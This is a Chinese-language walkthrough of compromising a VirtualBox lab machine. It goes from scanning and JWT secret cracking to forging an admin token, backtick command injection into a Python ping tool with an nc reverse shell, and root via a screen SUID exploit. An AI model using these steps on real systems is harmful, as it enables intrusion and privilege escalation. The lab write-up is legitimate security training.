1.信息收集
1.1.目标发现
使用virtualbox导入靶机并打开
发现靶机的ip是10.177.246.54
1.2.端口信息扫描
使用nmap扫描目标ip的所有端口信息
┌──(root㉿kali)-[~]
└─# nmap -sS -sV 10.177.246.54 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-10 06:41 EDT
Nmap scan report for 10.177.246.54
Host is up (0.00052s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
3000/tcp open http Node.js Express framework
MAC Address: 08:00:27:73:80:C0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.98 seconds
发现目标ip开了22和3000端口
3000端口是nodejs写的后端
2.漏洞发现
2.1.查看目标ip的3000端口
显示Cannot GET / 不能使用get
用hackbar改成post再次进行访问
还是显示Cannot POST / 不能使用post
2.2.网站爆破
使用ffuf工具对网站进行爆破
┌──(root㉿kali)-[~]
└─# ffuf -w /root/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.177.246.54:3000/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.177.246.54:3000/FUZZ
:: Wordlist : FUZZ: /root/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
:: Progress: [220560/220560] :: Job [1/1] :: 5882 req/sec :: Duration: [0:00:40] :: Errors: 0 ::
发现使用get方式没有爆破出来
尝试使用post爆破
┌──(root㉿kali)-[~]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -X POST -fc 404 -mc all -u http://10.177.246.54:3000/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.177.246.54:3000/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 404
________________________________________________
[Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 27ms]
* FUZZ: login
[Status: 400, Size: 29, Words: 6, Lines: 1, Duration: 25ms]
* FUZZ: register
[Status: 401, Size: 12, Words: 1, Lines: 1, Duration: 7ms]
* FUZZ: execute
:: Progress: [207643/207643] :: Job [1/1] :: 4761 req/sec :: Duration: [0:00:38] :: Errors: 0 ::
扫描到了三个路径
使用curl查看这三个路径
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/login
Identifiants invalides
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register
The "role" field is not valid
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/execute
Unauthorized
2.3.register字段爆破
┌──(root㉿kali)-[~]
└─# ffuf -w SecLists-master/Discovery/Web-Content/api/objects.txt -X POST -u http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"FUZZ"}'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.177.246.54:3000/register
:: Wordlist : FUZZ: /root/SecLists-master/Discovery/Web-Content/api/objects.txt
:: Header : Content-Type: application/json
:: Data : {"role":"FUZZ"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 401, Size: 16, Words: 3, Lines: 1, Duration: 30ms]
* FUZZ: admin
[Status: 500, Size: 32, Words: 5, Lines: 1, Duration: 41ms]
* FUZZ: user
:: Progress: [3132/3132] :: Job [1/1] :: 1234 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
爆破出admin
和user
两个字段
使用curl测试
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"admin"}'
Not authorized !
访问admin字段返回Not authorized
! 未授权
尝试访问user字段
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"user"}'
Column 'username' cannot be null
返回Column 'username' cannot be null
username字段不能空
添加username字段测试
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"user","username":"user"}'
Column 'password' cannot be null
显示Column 'password' cannot be null
password字段不能为空
添加password字段测试
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"user","username":"user","password":"user"}'
Registration OK
发现注册成功了
2.4.登录
尝试使用curl登录
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/login -H "Content-Type: application/json" -d '{"role":"user","username":"user","password":"user"}'
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTY4MzcyMDUzNH0.cmIS28gxFWGh8oRJT0YTsETaR7_qsa0D76EI5To194M"}
登陆之后返回了一个token
3.漏洞利用
3.1.尝试使用返回的token执行命令
这里我们猜测获取命令的字段为cmd来测试
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/execute -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTY4MzcyMDUzNH0.cmIS28gxFWGh8oRJT0YTsETaR7_qsa0D76EI5To194M" -H "Content-Type: application/json" -d '{"cmd":"id"}'
Not authorized
返回Not authorized
未授权
猜测只有admin用户才有权限执行命令
3.2.修改token为admin用户
这里我们用jwt.io这个网站来修改token
复制我们的token到这个网站
这里需要秘钥
使用john爆破
┌──(root㉿kali)-[~]
└─# echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTY4MzcyMDUzNH0.cmIS28gxFWGh8oRJT0YTsETaR7_qsa0D76EI5To194M > user.hash
┌──(root㉿kali)-[~]
└─# john -w=rockyou.txt user.hash
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
nopassword (?)
1g 0:00:00:00 DONE (2023-05-10 08:20) 100.0g/s 1228Kp/s 1228Kc/s 1228KC/s total90..hawkeye
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
爆破出秘钥为nopassword
将username和role字段都改成admin
在下面填入秘钥
这样token就修改好了 复制这个token 尝试执行命令
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/execute -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzNzIwNTM0fQ.eo5syZPVLegGsaE-5sNZKXUYJ1b6_2t7il3YuRe1Vzk" -H "Content-Type: application/json" -d '{"cmd":"id"}'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>TypeError [ERR_INVALID_ARG_TYPE]: The "file" argument must be of type string. Received undefined<br> at validateString (internal/validators.js:120:11)<br> at normalizeSpawnArguments (child_process.js:411:3)<br> at spawn (child_process.js:547:16)<br> at Object.execFile (child_process.js:237:17)<br> at exec (child_process.js:158:25)<br> at /opt/login-app/app.js:69:3<br> at Layer.handle [as handle_request] (/opt/login-app/node_modules/express/lib/router/layer.js:95:5)<br> at next (/opt/login-app/node_modules/express/lib/router/route.js:144:13)<br> at /opt/login-app/app.js:112:5<br> at /opt/login-app/node_modules/jsonwebtoken/verify.js:261:12</pre>
</body>
</html>
获取命令的字段错了
3.3.爆破命令字段
┌──(root㉿kali)-[~]
└─# ffuf -w /root/SecLists-master/Discovery/Web-Content/api/objects.txt -u http://10.177.246.54:3000/execute -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzNzIwNTM0fQ.eo5syZPVLegGsaE-5sNZKXUYJ1b6_2t7il3YuRe1Vzk" -X POST -H "Content-Type: application/json" -d '{"FUZZ":"id"}' -fc 500
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.177.246.54:3000/execute
:: Wordlist : FUZZ: /root/SecLists-master/Discovery/Web-Content/api/objects.txt
:: Header : Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzNzIwNTM0fQ.eo5syZPVLegGsaE-5sNZKXUYJ1b6_2t7il3YuRe1Vzk
:: Header : Content-Type: application/json
:: Data : {"FUZZ":"id"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 500
________________________________________________
[Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 89ms]
* FUZZ: command
:: Progress: [3132/3132] :: Job [1/1] :: 1869 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
成功爆破出命令字段command
3.4.命令执行
使用curl执行命令
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/execute -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzNzIwNTM0fQ.eo5syZPVLegGsaE-5sNZKXUYJ1b6_2t7il3YuRe1Vzk" -H "Content-Type: application/json" -d '{"command":"id"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
命令执行成功
接下来反弹shell
3.5.提权至doro用户
发现www用户可以使用doro用户的权限执行/home/doro/tools.py这个脚本
查看这个脚本权限发现只有读的权限
查看这个脚本
import os
import sys
def main():
if len(sys.argv) < 2:
print_help()
return
option = sys.argv[1]
if option == "--ping":
ping()
elif option == "--traceroute":
traceroute_ip()
else:
print("Invalid option.")
print_help()
def print_help():
print("Usage: python3 network_tool.py <option>")
print("Options:")
print("--ping Ping an IP address")
print("--traceroute Perform a traceroute on an IP address")
def ping():
ip_address = input("Enter an IP address: ")
forbidden_chars = ["&", ";", "(", ")", "||", "|", ">", "<", "*", "?"]
for char in forbidden_chars:
if char in ip_address:
print("Forbidden character found: {}".format(char))
sys.exit(1)
os.system('ping -c 2 ' + ip_address)
def traceroute_ip():
ip_address = input("Enter an IP address: ")
if not is_valid_ip(ip_address):
print("Invalid IP address.")
return
traceroute_command = "traceroute {}".format(ip_address)
os.system(traceroute_command)
def is_valid_ip(ip_address):
octets = ip_address.split(".")
if len(octets) != 4:
return False
for octet in octets:
if not octet.isdigit() or int(octet) < 0 or int(octet) > 255:
return False
return True
if __name__ == "__main__":
main()
发现脚本没有过滤"`"符号
可以绕过
首先使用nc监听本机的5555端口 用来反弹shell
使用doro用户的权限执行脚本
输入
`nc 10.177.246.51 5555 -e /bin/bash`
成功叫权限提升至doro
在doro家目录下的.ssh目录中发现了doro的公钥和私钥
将公钥的内容写入authorized_keys文件
复制私钥到本机并设置权限为600
这样我们就可以使用ssh登录doro用户了
3.6.提权至root
直接使用linpeas.sh辅助提权工具
在靶机运行linpeas.sh
发现screen有suid权限并且版本为4.5.0
此版本存在漏洞
使用searchsploit搜索提权脚本
将41154.sh上传至靶机
执行改脚本
成功提权至root